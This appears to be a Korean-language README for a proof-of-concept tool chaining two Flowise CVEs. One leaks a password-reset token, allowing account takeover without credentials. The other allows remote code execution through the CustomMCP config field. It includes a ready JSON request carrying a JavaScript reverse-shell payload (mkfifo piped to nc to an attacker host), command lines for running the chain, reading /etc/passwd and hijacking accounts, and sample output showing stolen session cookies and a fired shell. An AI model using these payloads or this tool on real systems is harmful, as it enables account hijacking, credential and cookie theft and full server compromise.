{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← 삭제되지 않은 사용자 입력

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

공격자                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← 응답에 토큰 유출
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 완료
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← 쿠키 추출
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   공격자의 nc 리스너 ←─────────────── 서버가 역연결
   ✓  자격 증명 없이 완전한 RCE

flowise-dual-cve-poc/
├── flowise_poc.py      # 메인 PoC — 모든 모듈 + 체인 모드
├── requirements.txt    # Python 종속성
├── README.md           # 이 파일
└── DISCLAIMER.md       # 전체 법적 고지

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

# 최소 호출 — 전체 체인 + 리버스 셸
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

nc -lvnp 4444

python3 flowise_poc.py -h

# 리버스 셸 (기본 페이로드)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# 리버스 셸 대신 사용자 정의 명령어
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# 사용자 정의 ATO 비밀번호 + 리버스 셸
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

# 기본 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# 사용자 정의 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 원시 JSON 응답 출력
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# 스크립팅을 위한 JSON 출력
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

# 리버스 셸 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# 사용자 정의 명령어 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 수동 토큰 — 리버스 셸
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 세 쿠키 모두 수동
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

  [단계 1] [CVE-2025-58434] forgot-password 토큰 요청 중 ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    유출된 계정 데이터
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] 취약함 — 인증 없이 토큰이 노출되었습니다!

  [단계 2] [CVE-2025-58434] 비밀번호 재설정 중 → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] 비밀번호 재설정 성공 (tempToken cleared)
  [+] 계정 탈취 완료 → [email protected] / Flowise@Pwn3d2025!

  [단계 3] [Auth] 세션 쿠키 추출을 위해 로그인 중 ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    추출된 세션 쿠키
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [단계 4] [CVE-2025-59528] CustomMCP를 통해 RCE 실행 중 ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE 결과
  ────────────────────────────────────────────────────────────────────
  모드    : 리버스 셸
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] 리버스 셸 페이로드 실행됨!
  [!] 10.10.16.35:4444 에서 연결 대기 중 ...
  [!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] 체인 완료